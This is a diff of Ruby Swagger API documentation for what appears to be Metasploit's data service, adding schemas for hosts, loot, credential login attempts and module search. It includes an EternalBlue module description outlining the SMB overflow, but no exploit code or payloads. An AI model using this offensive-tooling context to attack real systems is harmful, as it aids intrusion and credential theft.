key :description, 'A JSON object containing the Base64 encoded backup file.'
|
||||
schema do
|
||||
property :db_export_file do
|
||||
key :type, :string
|
||||
property :data do
|
||||
property :db_export_file do
|
||||
key :type, :string
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -48,12 +48,27 @@ module EventApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Event
|
||||
property :data do
|
||||
key :'$ref', :Event
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -56,10 +56,25 @@ module ExploitApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Exploit
|
||||
property :data do
|
||||
key :'$ref', :Exploit
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -104,12 +104,28 @@ module HostApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns host data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Host
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/hosts POST
|
||||
|
@ -151,10 +167,25 @@ module HostApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Host
|
||||
property :data do
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -167,14 +198,30 @@ module HostApiDoc
|
|||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns an array containing the successfully deleted hosts.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Host
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -184,10 +231,6 @@ module HostApiDoc
|
|||
key :description, 'Return specific host that is stored in the database.'
|
||||
key :tags, [ 'host' ]
|
||||
|
||||
parameter :workspace
|
||||
parameter :non_dead
|
||||
parameter :address
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
|
@ -200,12 +243,25 @@ module HostApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns host data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
property :data do
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/hosts/:id PUT
|
||||
|
@ -226,12 +282,27 @@ module HostApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns host data.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Host
|
||||
property :data do
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,235 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module LoginApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
CORE_ID_DESC = 'The ID of the Metasploit::Credential::Core object this login is associated with.'
|
||||
CORE_DESC = 'The Metasploit::Credential::Core object that corresponds to the credential pair this login attempt used.'
|
||||
SERVICE_ID_DESC = 'The ID of the service object that this login was attempted against.'
|
||||
ACCESS_LEVEL_DESC = 'A free-form text field that can be used to annotate the access level of this login.'
|
||||
ACCESS_LEVEL_EXAMPLE = "'admin', 'sudoer', or 'user'"
|
||||
STATUS_DESC = 'The result of the login attempt.'
|
||||
LAST_ATTEMPTED_AT_DESC = 'The date and time the login attempt occurred.'
|
||||
SERVICE_NAME_DESC = 'The name of the service that the login was attempted against.'
|
||||
SERVICE_NAME_EXAMPLE = 'ssh'
|
||||
ADDRESS_DESC = 'The IP address of the host/service this login was attempted against.'
|
||||
ADDRESS_EXAMPLE = '127.0.0.1'
|
||||
PORT_DESC = 'The port the service was listening on.'
|
||||
PORT_EXAMPLE = '22'
|
||||
PROTOCOL_DESC = 'The protocol the service was using.'
|
||||
PROTOCOL_ENUM = [ 'tcp', 'udp' ]
|
||||
# Values from lib/metasploit/model/login/status.rb in the metasploit-model repo
|
||||
STATUS_ENUM = [
|
||||
'Denied Access',
|
||||
'Disabled',
|
||||
'Incorrect',
|
||||
'Locked Out',
|
||||
'No Auth Required',
|
||||
'Successful',
|
||||
'Unable to Connect',
|
||||
'Untried'
|
||||
]
|
||||
|
||||
# Swagger documentation for Login model
|
||||
swagger_schema :Login do
|
||||
key :required, [:address, :name]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :core_id, type: :integer, format: :int32, required: true, description: CORE_ID_DESC
|
||||
property :service_id, type: :integer, format: :int32, required: true, description: SERVICE_ID_DESC
|
||||
property :access_level, type: :string, description: ACCESS_LEVEL_DESC, example: ACCESS_LEVEL_EXAMPLE
|
||||
property :status, type: :string, description: STATUS_DESC, required: true, enum: STATUS_ENUM
|
||||
property :last_attempted_at, type: :string, format: :date_time, description: LAST_ATTEMPTED_AT_DESC
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/logins' do
|
||||
# Swagger documentation for /api/v1/logins GET
|
||||
operation :get do
|
||||
key :description, 'Return logins that are stored in the database.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns login data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/logins POST
|
||||
operation :post do
|
||||
key :description, 'Create a login.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the login.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :core, '$ref' => :Credential, required: true, description: CORE_DESC
|
||||
property :last_attempted_at, type: :string, format: :date_time, required: true, description: LAST_ATTEMPTED_AT_DESC
|
||||
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
|
||||
property :service_name, type: :string, description: SERVICE_NAME_DESC, example: SERVICE_NAME_EXAMPLE
|
||||
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
|
||||
property :protocol, type: :string, description: PROTOCOL_DESC, enum: PROTOCOL_ENUM
|
||||
property :status, type: :string, required: true, description: STATUS_DESC, enum: STATUS_ENUM
|
||||
property :access_level, type: :string, description: ACCESS_LEVEL_DESC, example: ACCESS_LEVEL_EXAMPLE
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/logins/ DELETE
|
||||
operation :delete do
|
||||
key :description, 'Delete the specified logins.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns an array containing the successfully deleted logins.'
|
||||
schema do
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/logins/{id}' do
|
||||
# Swagger documentation for api/v1/logins/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return specific login that is stored in the database.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of login to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns login data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/logins/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing login.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
parameter :update_id
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The updated attributes to overwrite to the login.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -48,12 +48,28 @@ module LootApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns loot data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Loot
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/loots POST
|
||||
|
@ -80,10 +96,25 @@ module LootApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Loot
|
||||
property :data do
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -96,49 +127,73 @@ module LootApiDoc
|
|||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns an array containing the successfully deleted loot.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Loot
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/loot/{id}' do
|
||||
# Swagger documentation for api/v1/loot/:id GET
|
||||
swagger_path '/api/v1/loots/{id}' do
|
||||
# Swagger documentation for api/v1/loots/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return specific loot entry that is stored in the database.'
|
||||
key :tags, [ 'loot' ]
|
||||
|
||||
# TODO: Add this back in when this endpoint is implemented, tracked in MS-3233.
|
||||
#
|
||||
# operation :get do
|
||||
# key :description, 'Return specific loot entry that is stored in the database.'
|
||||
# key :tags, [ 'loot' ]
|
||||
#
|
||||
# parameter :workspace
|
||||
#
|
||||
# parameter do
|
||||
# key :name, :id
|
||||
# key :in, :path
|
||||
# key :description, 'ID of loot to retrieve.'
|
||||
# key :required, true
|
||||
# key :type, :integer
|
||||
# key :format, :int32
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Returns loot data.'
|
||||
# schema do
|
||||
# key :type, :array
|
||||
# items do
|
||||
# key :'$ref', :Loot
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of loot to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/loot/{id} PUT
|
||||
response 200 do
|
||||
key :description, 'Returns loot data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/loots/{id} PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing loot.'
|
||||
key :tags, [ 'loot' ]
|
||||
|
@ -156,12 +211,27 @@ module LootApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Loot
|
||||
property :data do
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,195 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module ModuleSearchApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
AKA_DESC = 'Filter modules with a matching AKA name.'
|
||||
APP_DESC = 'Filter modules that are client or server attacks. (Accepts strings \'client\' or \'server\').'
|
||||
ARCH_DESC = 'Filter modules with a matching architecture.'
|
||||
AUTHOR_DESC = 'Filter modules written by a matching author.'
|
||||
AUTHORS_DESC = 'Alias for \'author\'.'
|
||||
BID_DESC = 'Filter modules with a matching Bugtraq ID.'
|
||||
CVE_DESC = 'Filter modules with a matching CVE ID.'
|
||||
EDB_DESC = 'Filter modules with a matching Exploit-DB ID.'
|
||||
DESCRIPTION_DESC = 'Filter modules with a matching description.'
|
||||
DISCLOSURE_DATE_DESC = 'Filter modules with a matching disclosure date.'
|
||||
DATE_DESC = 'Alias for \'disclosure_date\'.'
|
||||
FULL_NAME_DESC = 'Filter modules with a matching full name.'
|
||||
IS_CLIENT_DESC = 'Filter modules that are client attacks. (Accepts strings \'true\' or \'false\').'
|
||||
IS_SERVER_DESC = 'Filter modules that are server attacks. (Accepts strings \'true\' or \'false\').'
|
||||
IS_INSTALL_PATH_DESC = 'Filter modules that by value of \'is_install_path\'. (Accepts strings \'true\' or \'false\').'
|
||||
MOD_TIME_DESC = 'Filter modules with a matching modification time.'
|
||||
NAME_DESC = 'Filter modules with a matching descriptive name.'
|
||||
PATH_DESC = 'Filter modules with a matching path name.'
|
||||
PLATFORM_DESC = 'Filter modules affecting a matching platform, arch, or target.'
|
||||
OS_DESC = 'Alias for \'platform\'.'
|
||||
PORT_DESC = 'Filter modules with a matching port.'
|
||||
RPORT_DESC = 'Alias for \'port\'.'
|
||||
RANK_DESC = 'Filter modules with a matching rank. Accepts numeric values with optional comparison operators (ex: 200, gt500, lte300).'
|
||||
REFERENCE_DESC = 'Filter modules with a matching reference (CVE, BID, EDB, etc.).'
|
||||
REFERENCES_DESC = 'Alias for \'reference\'.'
|
||||
REF_NAME_DESC = 'Filter modules with a matching ref_name.'
|
||||
REF_DESC = 'Alias for \'ref_name\'.'
|
||||
TARGET_DESC = 'Filter modules with a matching target.'
|
||||
TARGETS_DESC = 'Alias for \'target\'.'
|
||||
TEXT_DESC = 'Filter modules matching any one of name, full name, description, reference, author, or targets.'
|
||||
TYPE_DESC = 'Filter modules with a matching type (exploit, auxiliary, payload, etc.).'
|
||||
FIELDS_DESC = 'Provide a comma-delimited list of metadata fields you would like to return. If left blank, all fields will be returned. Valid field names are: \'name\', \'full_name\', \'fullname\', \'aka\', \'arch\', \'author\', \'author\', \'description\', \'disclosure_date\', \'cve\', \'edb\', \'bid\', \'mod_time\', \'is_client\', \'is_server\', \'is_install_path\', \'os\', \'platform\', \'reference\', \'references\', \'ref_name\', \'ref\', \'path\', \'port\', \'rport\', \'rank\', \'type\', \'target\', \'targets\''
|
||||
NOTES_DESC = 'Extra info for a module, such as AKA names or NOCVE explanations.'
|
||||
|
||||
TYPE_ENUM = [
|
||||
'auxiliary',
|
||||
'encoder',
|
||||
'exploit',
|
||||
'nop',
|
||||
'payload',
|
||||
'post',
|
||||
''
|
||||
]
|
||||
|
||||
NAME_EXAMPLE = 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption'
|
||||
FULL_NAME_EXAMPLE = 'exploit/windows/smb/ms17_010_eternalblue'
|
||||
DISCLOSURE_DATE_EXAMPLE = '2017-03-14T00:00:00.000-05:00'
|
||||
RANK_EXAMPLE = '200'
|
||||
TYPE_EXAMPLE = 'exploit'
|
||||
DESCRIPTION_EXAMPLE = 'This module is a port of the Equation Group ETERNALBLUE exploit, part of\n the FuzzBunch toolkit released by Shadow Brokers.\n\n There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size\n is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a\n DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow\n is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later\n completed in srvnet!SrvNetWskReceiveComplete.\n\n This exploit, like the original may not trigger 100% of the time, and should be\n run continuously until triggered. It seems like the pool will get hot streaks\n and need a cool down period before the shells rain in again.\n\n The module will attempt to use Anonymous login, by default, to authenticate to perform the\n exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use\n those instead.\n\n On some systems, this module may cause system instability and crashes, such as a BSOD or\n a reboot. This may be more likely with some payloads.'
|
||||
AUTHOR_EXAMPLE = [
|
||||
'Sean Dillon <sean.dillon@risksense.com>',
|
||||
'Dylan Davis <dylan.davis@risksense.com>',
|
||||
'Equation Group',
|
||||
'Shadow Brokers',
|
||||
'thelightcosine'
|
||||
]
|
||||
REFERENCES_EXAMPLE = [
|
||||
'MSB-MS17-010',
|
||||
'CVE-2017-0143',
|
||||
'CVE-2017-0144',
|
||||
'CVE-2017-0145',
|
||||
'CVE-2017-0146',
|
||||
'CVE-2017-0147',
|
||||
'CVE-2017-0148',
|
||||
'URL-https://github.com/RiskSense-Ops/MS17-010'
|
||||
]
|
||||
IS_SERVER_EXAMPLE = true
|
||||
IS_CLIENT_EXAMPLE = false
|
||||
PLATFORM_EXAMPLE = 'Windows'
|
||||
ARCH_EXAMPLE = ''
|
||||
RPORT_EXAMPLE = '445'
|
||||
MOD_TIME_EXAMPLE = '2018-07-10T17:39:42.000-05:00'
|
||||
REF_NAME_EXAMPLE = 'windows/smb/ms17_010_eternalblue'
|
||||
PATH_EXAMPLE = '/modules/exploits/windows/smb/ms17_010_eternalblue.rb'
|
||||
IS_INSTALL_PATH_EXAMPLE = true
|
||||
TARGETS_EXAMPLE = [
|
||||
'Windows 7 and Server 2008 R2 (x64) All Service Packs'
|
||||
]
|
||||
NOTES_EXAMPLE = {
|
||||
'AKA' => [ 'ETERNALBLUE' ]
|
||||
}
|
||||
|
||||
|
||||
# Swagger documentation for Module Search model
|
||||
swagger_schema :Module do
|
||||
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
|
||||
property :full_name, type: :string, description: FULL_NAME_DESC, example: FULL_NAME_EXAMPLE
|
||||
property :disclosure_date, type: :string, description: DISCLOSURE_DATE_EXAMPLE, example: DISCLOSURE_DATE_EXAMPLE
|
||||
property :rank, type: :integer, description: RANK_DESC, example: RANK_EXAMPLE
|
||||
property :type, type: :string, description: TYPE_DESC, example: TYPE_EXAMPLE, enum: TYPE_ENUM
|
||||
property :description, type: :string, description: DESCRIPTION_DESC, example: DESCRIPTION_EXAMPLE
|
||||
property :author, description: AUTHOR_DESC, example: AUTHOR_EXAMPLE, type: :array do items type: :string end
|
||||
property :references, description: REFERENCE_DESC, example: REFERENCES_EXAMPLE, type: :array do items type: :string end
|
||||
property :is_client, type: :boolean, description: IS_CLIENT_DESC, example: IS_CLIENT_EXAMPLE
|
||||
property :is_server, type: :boolean, description: IS_SERVER_DESC, example: IS_SERVER_EXAMPLE
|
||||
property :platform, type: :string, description: PLATFORM_DESC, example: PLATFORM_EXAMPLE
|
||||
property :arch, type: :string, description: ARCH_DESC, example: ARCH_EXAMPLE
|
||||
property :rport, type: :string, description: PORT_DESC, example: RPORT_EXAMPLE
|
||||
property :mod_time, type: :string, description: MOD_TIME_DESC, example: MOD_TIME_EXAMPLE
|
||||
property :ref_name, type: :string, description: REF_NAME_DESC, example: REF_NAME_EXAMPLE
|
||||
property :path, type: :string, description: PATH_DESC, example: PATH_EXAMPLE
|
||||
property :is_install_path, type: :boolean, description: IS_INSTALL_PATH_DESC, example: IS_INSTALL_PATH_EXAMPLE
|
||||
property :targets, description: TARGET_DESC, example: TARGETS_EXAMPLE, type: :array do items type: :string end
|
||||
property :notes, description: NOTES_DESC, example: NOTES_EXAMPLE, type: :hash do items type: :hash end
|
||||
end
|
||||
|
||||
|
||||
|
||||
swagger_path '/api/v1/modules' do
|
||||
# Swagger documentation for /api/v1/modules GET
|
||||
operation :get do
|
||||
key :description, 'Search Metasploit modules using keyword filters.'
|
||||
key :tags, [ 'module' ]
|
||||
|
||||
parameters = {
|
||||
:aka => AKA_DESC,
|
||||
:app => APP_DESC,
|
||||
:arch => ARCH_DESC,
|
||||
:author => AUTHOR_DESC,
|
||||
:bid => BID_DESC,
|
||||
:cve => CVE_DESC,
|
||||
:edb => EDB_DESC,
|
||||
:description => DESCRIPTION_DESC,
|
||||
:disclosure_date => DISCLOSURE_DATE_DESC,
|
||||
:date => DATE_DESC,
|
||||
:full_name => FULL_NAME_DESC,
|
||||
:is_client => IS_CLIENT_DESC,
|
||||
:is_server => IS_SERVER_DESC,
|
||||
:is_install_path => IS_INSTALL_PATH_DESC,
|
||||
:mod_time => MOD_TIME_DESC,
|
||||
:name => NAME_DESC,
|
||||
:path => PATH_DESC,
|
||||
:platform => PLATFORM_DESC,
|
||||
:os => OS_DESC,
|
||||
:port => PORT_DESC,
|
||||
:rport => RPORT_DESC,
|
||||
:rank => RANK_DESC,
|
||||
:reference => REFERENCE_DESC,
|
||||
:references => REFERENCES_DESC,
|
||||
:ref_name => REF_NAME_DESC,
|
||||
:ref => REF_DESC,
|
||||
:text => TEXT_DESC,
|
||||
:target => TARGET_DESC,
|
||||
:targets => TARGETS_DESC,
|
||||
:type => TYPE_DESC,
|
||||
:fields => FIELDS_DESC
|
||||
}
|
||||
|
||||
parameters.each do | param_key, param_desc |
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, param_key
|
||||
key :required, false
|
||||
key :description, param_desc
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns modules matching keywords with appropriate metadata.'
|
||||
schema do
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Module
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
